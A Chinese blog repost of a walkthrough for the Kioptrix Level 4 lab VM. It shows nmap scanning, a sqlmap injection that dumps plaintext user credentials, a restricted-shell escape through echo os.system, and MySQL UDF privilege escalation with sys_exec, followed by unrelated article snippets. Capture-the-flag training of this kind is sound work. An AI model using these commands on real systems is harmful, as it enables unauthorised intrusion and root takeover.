学习笔记-Kioptrix4-WalkThrough

news/2024/5/16 12:27:48/文章来源:https://blog.csdn.net/sinat_35360663/article/details/127668689

Kioptrix4-WalkThrough

文章作者 xidaner & r0fus0d


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


靶机地址

  • https://www.vulnhub.com/entry/kioptrix-level-13-4,25/

Description

Again a long delay between VMs, but that cannot be helped. Work, family must come first. Blogs and hobbies are pushed down the list. These things aren’t as easy to make as one may think. Time and some planning must be put into these challenges, to make sure that:1. It’s possible to get root remotely [ Edit: sorry not what I meant ]1a. It’s possible to remotely compromise the machineStays within the target audience of this siteMust be “realistic” (well kinda…)Should serve as a refresher for me. Be it PHP or MySQL usage etc. Stuff I haven’t done in a while.I also had lots of troubles exporting this one. So please take the time to read my comments at the end of this post.Keeping in the spirit of things, this challenge is a bit different than the others but remains in the realm of the easy. Repeating myself I know, but things must always be made clear: These VMs are for the beginner. It’s a place to start.I’d would love to code some small custom application for people to exploit. But I’m an administrator not a coder. It would take too much time to learn/code such an application. Not saying I’ll never try doing one, but I wouldn’t hold my breath. If someone wants more difficult challenges, I’m sure the Inter-tubes holds them somewhere. Or you can always enroll in Offsec’s PWB course. *shameless plug-- A few things I must say. I made this image using a new platform. Hoping everything works but I can’t test for everything. Initially the VM had troubles getting an IP on boot-up. For some reason the NIC wouldn’t go up and the machine was left with the loopback interface. I hope that I fixed the problem. Don’t be surprised if it takes a little moment for this one to boot up. It’s trying to get an IP. Be a bit patient. Someone that tested the image for me also reported the VM hung once powered on. Upon restart all was fine. Just one person reported this, so hoping it’s not a major issue. If you plan on running this on vmFusion, you may need to convert the imagine to suit your fusion version.-- Also adding the VHD file for download, for those using Hyper-V. You guys may need to change the network adapter to “Legacy Network Adapter”. I’ve test the file and this one seems to run fine for me… If you’re having problems, or it’s not working for any reason email comms[=]kioptrix.comThanks to @shai_saint from www.n00bpentesting.com for the much needed testing with various VM solutions.Thanks to Patrick from Hackfest.ca for also running the VM and reporting a few issues. And Swappage & @Tallenz for doing the same. All help is appreciated guysSo I hope you enjoy this one.The Kioptrix TeamSource: http://www.kioptrix.com/blog/?p=604**Note: Just a virtual hard drive. You'll need to create a new virtual machine & attach the existing hard drive**

知识点

  • SQL 注入
  • mysql udf 提权

前期-信息收集

nmap

开机后我们发现 这个用户名和密码是不知道的

在虚拟机中要先接入到和 kali 一个网段中.然后我们要知道这个虚拟机的 ip 地址,就要用到 IP 探活.

nmap -sP <你虚拟机网卡的网段> /24

可以发现网段中一共有 4 个 ip 地址,除去本机和 kali 剩下的就是靶机的 ip 地址


扫描开放端口

nmap 192.168.17.130

可以发现,目标打开了 80 端口

目测可以注入,尝试了简单 payload,下面选择直接跑 sqlmap


中期-漏洞利用

sql注入

代码:

sqlmap -u http://192.168.17.130/checklogin.php
--data="myusername=admin&mypassword=123&Submit=Login" -p mypassword --dump -T members -D members

id | username | password              |
+----+----------+-----------------------+
| 1  | john     | MyNameIsJohn          |
| 2  | robert   | ADGAdsafdfwt4gadfga== |

后期-拿shell-提权

尝试 SSH 登录

输入用户名和密码登录进去

这里用了 echo 命令获取交互 shell

echo os.system("/bin/bash")
whoami

查看服务器下的文件

cd /var/www/
cat checklogin.php


登录 MYSQL

mysql -u root -p

mysql UDF 提权

在 mysql 中输入

select sys_exec('usermod -a -G admin john');

在我们退出去后,尝试登录到 root

whoami 确认获取 root

提权成功,感谢 Kioptrix Team 制作靶机


补充

扫描 smb

目标开放 139 445 这意味着可能可以枚举用户名

nmap -sC --script smb-enum-users.nse <目标IP>

enum4linux <目标IP>

这2个命令都可以

udf 提权

需要 udf 提权,需要检查 mysql 是否以 root 权限运行

ls -la /usr/lib/lib_mysqludf_sys.so

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_411567.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

实验4 类与数组

实验任务51 #pragma once2 3 #include<iostream>4 #include<cassert>5 using std::cout;6 using std::endl;7 8 class vectorInt9 { 10 private: 11 /* data */ 12 int size; 13 int *p; 14 public: 15 vectorInt(int n); 16 vectorInt(int n,…

分布式光伏站远程监控组网解决方案

一、项目背景随着规模性的光伏电站陆续建设和投入运行&#xff0c;如何实时了解电站的运行状况&#xff0c;如何满足上一级系统或电网调度系统的监控需求成为了急需解决的事情。为使对分布式能源实现高效监控、满足电力接入电网要求、合理调配、集中监控、电网分析、配网自动化…

前端特效、js代码优化

1.旋转按钮边框 效果&#xff1a; 代码&#xff1a; <div class"container"><button class"btn">旋转边框</button></div>*{margin: 0;padding: 0;}.container{background: #000;height: 100vh;overflow: hidden;}.btn{/* borde…

35岁以后还能学软件测试吗?

之前看到一个问题“35岁学软件测试来得及吗”。 之前一直在工厂上班&#xff0c;看不到希望。 已经35岁了&#xff0c;想转学软件测试来得及吗&#xff1f; 经常会碰到类似这样的问题&#xff1a;担心自己学历不够&#xff0c;非计算机专业&#xff0c;害怕学不会&#xff0c;甚…

擎创技术流 | ClickHouse实用工具—ckman教程(1)部署安装

前言&#xff1a; 在数据量日益增长的当下&#xff0c;传统数据库的查询性能已满足不了业务需求。而Clickhouse在OLAP&#xff08;On-Line Analysis Processing——即一种在线分析处理的&#xff0c;用于数据分析的计算方法&#xff09;领域的应用&#xff0c;可以助力企业打造…

2022爱分析·虚拟化活动实践报告

报告编委 张扬 爱分析联合创始人&首席分析师 文鸿伟 爱分析高级分析师 **王鹏 ** 爱分析分析师 外部专家**&#xff08;按姓氏拼音排序&#xff09;** 梁瑛玮 保利威技术副总裁 于颢 tatameCEO 特别鸣谢&#xff08;按拼音排序&#xff09; 报告摘要 新冠疫…

Linux基础(yum,vim,gcc,gdb)

Linux基本的命令我们会敲了&#xff0c;基本的文件概念以及权限概念我们也都了解了&#xff0c;接下来该学一些好用的工具&#xff0c;用Linux完成一些工作了 目录 yum yum的作用 yum基本操作 vim vim的基本模式 命令模式 插入模式 底行模式 可视化模式 gcc gcc…

Drag-MoveMent

目录UGUI-OnDrag事件如何使用PointerEventDataposition屏幕空间->世界坐标/局部坐标空间(转换)参考文章UGUI-OnDrag事件 示例代码: using UnityEngine.EventSystems;public class TestOnDrag : MonoBehaviour, IDragHandler, IBeginDragHandler, IEndDragHandler {public v…

java计算机毕业设计基于安卓Android的教学考勤系统APP

项目介绍 首先,论文一开始便是清楚的论述了系统的研究内容。其次,剖析系统需求分析,弄明白“做什么”,分析包括业务分析和业务流程的分析以及用例分析,更进一步明确系统的需求。然后在明白了系统的需求基础上需要进一步地设计系统,主要包罗软件架构模式、整体功能模块、数据库…

二叉查找树、平衡二叉树、红黑二叉树简单概念

二叉查找树&#xff08;二叉排序树、二叉搜索树&#xff09;&#xff1a; 性质&#xff1a; 1.若其左子树非空&#xff0c;则左子树上所有节点的值都小于根节点的值&#xff1b; 2.若其右子树非空&#xff0c;则右子树上所有节点的值都大于根节点的值&#xff1b; 3.其…

Kubectl

目录 一、资源管理 1.kubernetes集群管理 2.kubectl 3.kubectl 的命令 (1)查看版本信息 (2)查看资源对象简写信息 (3)查看集群信息 (4)配置kubectl自动补全 (5)node节点查看日志 (6)K8s核心组件日志 二、基本信息查看 1.查看master节点状态 2.查看命令空间 3.查看…

系统学习SpringFrame:SpringBean的注入方式

本篇内容包括&#xff1a;Spring 容器简介&#xff08;什么是容器、容器如何工作&#xff09;、SpringBean 注入方式&#xff08;SpringBean 注入方式分类、Autowiring 自动绑定&#xff09;以及 获取 Spring Bean 的工具类&#xff01; 一、Spring 容器 1、什么是容器 Sprin…

企业电子文档管理系统哪个好?怎么选?

选择一款企业电子文档管理系统&#xff08;EDMS&#xff09;时应该关注什么&#xff1f; 这完全取决于你需要实现的控制、协作和灵活性水平。 然而&#xff0c;有两个关键的电子文档管理系统功能是你应该要关注的。 ● 简单配置的工作流程 你可以更轻松地进行协作&#xff…

算法6 排序算法 QuickSort 快速排序

Quick sort 快速排序快算排序 Quick Sort &#xff0c;可能是应用最为广泛的算法&#xff0c;被视为20世纪科学和工程领域的十大算法之一。其流行的原因是因为它实现简单&#xff0c;可适用于不同数据&#xff0c;并且在一般场景下比其他算法要更快。其优点是&#xff1a; 可借…

JSP声明:变量、方法和类的声明

在 JSP 页面中可以声明变量、方法和类&#xff0c;其声明格式如下&#xff1a; <%!声明变量、方法和类的代码&#xff05;>特别要注意&#xff0c;在“<%“与“!”之间不要有空格。声明的语法与在 Java 语言中声明变量和方法时的语法是一样的。 声明变量 在“<%!…

面试官视角总结的测开面试题(付答案)

背景 leader让胖虎当回面试官, 招一位合适的测开同学. 由于是第一次当面试官, 肯定要认真对待一下, 所以精心准备了一些面试题. 讲道理胖虎经历过很多次面试了, 不过都是以面试者的角度, 首次以面试官的身份来面试别人还是有点期待的! 制定评判标准 首先我列了个能力需求和…

python自带的idle以及pycharm使用

作者介绍&#xff1a; ♥️作者&#xff1a;小刘在C站 ♥️每天分享课堂笔记&#xff0c;一起努力&#xff0c;共赴美好生活&#xff01; ♥️夕阳下&#xff0c;是最美的绽放。 目录 一.python自带的idle 二.ipython ipython介绍 ipython安装步骤 ipython使用 三.pycharm…

Uniapp零基础开发学习笔记(11)-安装扩展组件uni-ui/uView及微信小程序开发环境

Uniapp零基础开发学习笔记(11)-安装扩展组件uni-ui/uView及微信小程序开发环境 1.安装扩展组件uni-ui uni-ui是uni-app团队开发的官方扩展组件&#xff0c;比基础组件的能力更强更好用。 介绍文档: https://uniapp.dcloud.net.cn/component/uniui/uni-ui.html 使用方法: 按照…

SCALA基础

若没有安装scala&#xff0c;则参考博客链接&#xff1a;http://t.csdn.cn/mF7tx 1、Scala的常用数据类型 注意&#xff1a;在Scala中&#xff0c;任何数据都是对象。例如&#xff1a;scala> 1 res0: Int 1scala> 1.toString res1: String 1scala> "1".t…